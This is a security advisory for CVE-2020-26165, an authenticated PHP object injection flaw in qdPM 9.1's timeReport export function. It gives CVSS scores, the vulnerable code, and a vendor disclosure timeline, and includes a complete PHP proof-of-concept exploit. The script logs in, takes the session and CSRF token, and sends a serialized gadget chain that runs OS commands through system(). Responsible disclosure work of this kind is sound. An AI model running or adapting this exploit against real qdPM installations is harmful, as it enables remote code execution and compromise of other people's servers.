qdPM 9.1 PHP Object Injection

2020.12.31
Credit: EgiX
Risk: High
Local: No
Remote: Yes
CWE: CWE-94


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

-------------------------------------------------------------- qdPM <= 9.1 (executeExport) PHP Object Injection Vulnerability -------------------------------------------------------------- [-] Software Link: http://qdpm.net [-] Affected Versions: Version 9.1 and prior versions. [-] Vulnerability Description: The vulnerability is located in the /core/apps/qdPM/modules/timeReport/actions/actions.class.php script, specifically within the timeReportActions::executeExport() method: 295. public function executeExport(sfWebRequest $request) 296. { 297. $separator = "\t"; 298. $format = $request->getParameter('format'); 299. $filename = $request->getParameter('filename'); 300. 301. $export = unserialize($request->getParameter('export')); User input passed through the "export" request parameter is not properly sanitized before being used in a call to the unserialize() function at line 301. This can be exploited by malicious users to inject arbitrary PHP objects into the application scope, allowing them to carry out a variety of attacks, such as executing arbitrary OS commands. [-] Proof of Concept: http://karmainsecurity.com/pocs/CVE-2020-26165 \n"; print "\nExample....: php $argv[0] http://localhost/qdpm/ user passwd"; print "\nExample....: php $argv[0] https://test.com/qdpm/ evil hacker\n\n"; die(); } list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]]; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, true); print "[-] Logging in with username '{$user}' and password '{$pass}'\n"; $resp = curl_exec($ch); if (!preg_match("/Cookie: [^;]+/", $resp, $sid)) die("[-] Session ID not found!\n"); if (!preg_match('/_csrf_token\]" value="([^"]+)"/', $resp, $csrf)) die("[-] CSRF token not found!\n"); curl_setopt($ch, CURLOPT_URL, "{$url}index.php/login"); curl_setopt($ch, CURLOPT_HTTPHEADER, $sid); curl_setopt($ch, CURLOPT_POSTFIELDS, "login[email]={$user}&login[password]={$pass}&login[_csrf_token]={$csrf[1]}"); if (!preg_match("/Cookie: [^;]+/", curl_exec($ch), $sid)) die("[-] Login failed!\n"); print "[-] Logged-in! Exploiting PHP Object Injection...\n"; class sfOutputEscaperObjectDecorator { protected $escapingMethod = "system"; protected $value = "id; whoami"; } $obj = rawurlencode(str_replace(['s:', chr(0)], ['S:', '\00'], serialize([[new sfOutputEscaperObjectDecorator]]))); curl_setopt($ch, CURLOPT_URL, "{$url}index.php/timeReport/export?export={$obj}"); curl_setopt($ch, CURLOPT_POST, false); curl_setopt($ch, CURLOPT_HTTPHEADER, $sid); print curl_exec($ch); [-] Solution: No official solution is currently available. [-] Disclosure Timeline: [29/02/2020] - Vendor notified [08/04/2020] - No response, vendor contacted again [09/04/2020] - Vendor replies they will fix the vulnerability in a summer release [30/09/2020] - Summer is gone and a new version hasn't been released, vendor contacted again [30/09/2020] - Vendor replies they're working on version 10, and should be ready in this year [30/09/2020] - CVE number requested and assigned [02/12/2020] - Vendor informed about public disclosure by the end of the year [30/12/2020] - Public disclosure [-] CVE Reference: The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2020-26165 to this vulnerability. [-] Credits: Vulnerability discovered by Egidio Romano. [-] Original Advisory: http://karmainsecurity.com/KIS-2020-11


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